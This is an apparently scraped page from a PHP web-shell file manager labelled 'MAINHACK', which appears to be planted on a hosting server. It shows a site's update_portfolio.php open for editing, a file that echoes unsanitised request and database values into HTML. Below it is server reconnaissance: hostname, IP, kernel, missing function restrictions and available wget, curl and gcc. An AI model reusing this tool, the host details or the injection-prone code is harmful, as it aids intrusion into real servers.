[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: update_portfolio.php
<?php include("../settings/settings.php"); $id=$_REQUEST['id']; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body> <?php $sql1=$show->readwithdata('portfolio','id',$id); while($row1=$sql1->fetch(PDO::FETCH_ASSOC)) { $id=$row1['id']; $web_type=$row1['web_type']; $web_name=$row1['web_name']; $web_url=$row1['web_url']; $screen_shot=$row1['screen_shot']; } ?> <div class="col-md-12"> <div class="widget_bottom_left"> <div class="panel panel-info" data-widget="{"draggable": "false"}" data-widget-static=""> <div class="panel-heading"> <h2>Portfolio Panel</h2> <div class="panel-ctrls" data-actions-container="" data-action-collapse="{"target": ".panel-body"}"><span class="button-icon has-bg"><i class="ti ti-angle-down"></i></span></div> </div> <div class="panel-body no-padding" style="display: block;"> <form class="form-horizontal" name="form" id="form" method="post" enctype="multipart/form-data" onSubmit="return Upload();" action="update_portfolio1.php"> <div class="form-group"> <label for="selector1" class="col-sm-3 control-label">Select <font color="#FF0000">WEB</font> Type</label> <div class="col-sm-8"><select name="web_type" id="selector1" class="form-control1" required> <option value="<?php echo $web_type; ?>"><?php echo $web_type; ?></option> <option value="basic">Basic</option> <option value="php">php</option> <option value="wordpress">WordPress</option> <option value="design">Design</option> <option value="ecommerce">Ecommerce</option> </select></div> </div> <div class="form-group"> <label for="focusedinput" class="col-sm-3 control-label">Input <font color="#FF0000">WEB</font> Name</label> <div class="col-sm-8"> <input type="text" name="web_name" class="form-control1" id="focusedinput" value="<?php echo $web_name; ?>" pattern="^[a-zA-Z\s.]{3,}$" oninvalid="setCustomValidity('Please enter Valid Name')" onchange="try{setCustomValidity('')}catch(e){}" required/> </div> </div> <div class="form-group"> <label for="focusedinput" class="col-sm-3 control-label">Input <font color="#FF0000">WEB</font> URL</label> <div class="col-sm-8"> <input type="text" name="web_url" class="form-control1" id="focusedinput" value="<?php echo $web_url; ?>"/> </div> </div> <div class="form-group"> <label for="exampleInputFile" class="col-sm-3 control-label">File Input</label> <div class="col-sm-8"> <input type="file" name="screen_shot" id="exampleInputFile" accept="image/JPEG, image/jpeg, image/png" > </div> </div> <input type="hidden" name="id" value="<?php echo $id; ?>"/> <input type="hidden" name="screen_shot1" value="<?php echo $screen_shot; ?>"/> <div class="row"> <div class="col-sm-8 col-sm-offset-9"> <input type="submit" name="submit" value="Update" id="update" class="btn-success btn"/> </div> </div> </form> </div><!--panel body--> </div> </div> </div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.1 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619